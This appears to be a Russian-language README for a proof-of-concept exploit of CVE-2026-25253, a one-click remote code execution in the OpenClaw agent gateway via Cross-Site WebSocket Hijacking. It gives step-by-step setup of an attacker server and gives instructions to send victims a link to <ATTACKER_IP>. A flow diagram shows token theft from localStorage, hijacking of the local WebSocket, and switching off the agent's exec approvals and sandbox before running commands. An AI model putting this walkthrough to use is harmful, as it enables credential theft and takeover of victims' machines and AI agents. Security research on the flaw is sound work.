
Эксплойт proof-of-concept для CVE-2026-25253, демонстрирующий RCE в один клик на OpenClaw через Cross-Site WebSocket Hijacking. Включает сервер атакующего и payload на основе браузера для кражи токенов и выполнения команд.
Однокликовое RCE на OpenClaw через Cross-Site WebSocket Hijacking.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот код предоставлен только для авторизованных исследований в области безопасности и образовательных целей. Использование этого кода против систем без явного письменного разрешения незаконно и неэтично. Автор не несет ответственности за неправомерное использование.
Прочитайте подробный анализ для разбора этой уязвимости на уровне исходного кода и понимания того, как был создан этот PoC.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Загрузите установщик с https://nodejs.org/ и следуйте инструкциям.
Проверьте установку:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Это установит единственную зависимость: ws (библиотека WebSocket).
Отредактируйте начало файла exploit.html, чтобы соответствовать вашему окружению:
const LOCAL_SCHEME = 'http'; // Схема Control UI жертвы
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Локальный gateway жертвы
const ATTACKER_WS_PORT = 8080; // Порт WS атакующего (должен совпадать с attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Используйте 'wss' при работе за TLS
const COMMAND = 'touch /tmp/success'; // Команда для выполнения на хосте жертвы
Отредактируйте начало файла attacker-server.js, если вам нужны другие порты:
const HTTP_PORT = 3000; // Обслуживает exploit.html
const WS_PORT = 8080; // Перехватывает украденные токены
node attacker-server.js
Вы должны увидеть:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
Отправьте жертве следующий URL (замените <ATTACKER_IP> на ваш IP):
http://<ATTACKER_IP>:3000/exploit.html
Жертва должна открыть эту ссылку в браузере, где она ранее использовала OpenClaw Control UI (чтобы токен аутентификации существовал в localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
На машине жертвы проверьте, была ли выполнена команда:
ls -la /tmp/success
| Файл | Описание |
|---|---|
attacker-server.js | HTTP-сервер (обслуживает страницу эксплойта) + WebSocket-сервер (перехватывает украденные токены) |
exploit.html | Эксплойт на основе браузера, который крадет токены, перехватывает WebSocket, отключает безопасность и выполняет команды |
package.json | Зависимости Node.js (ws) |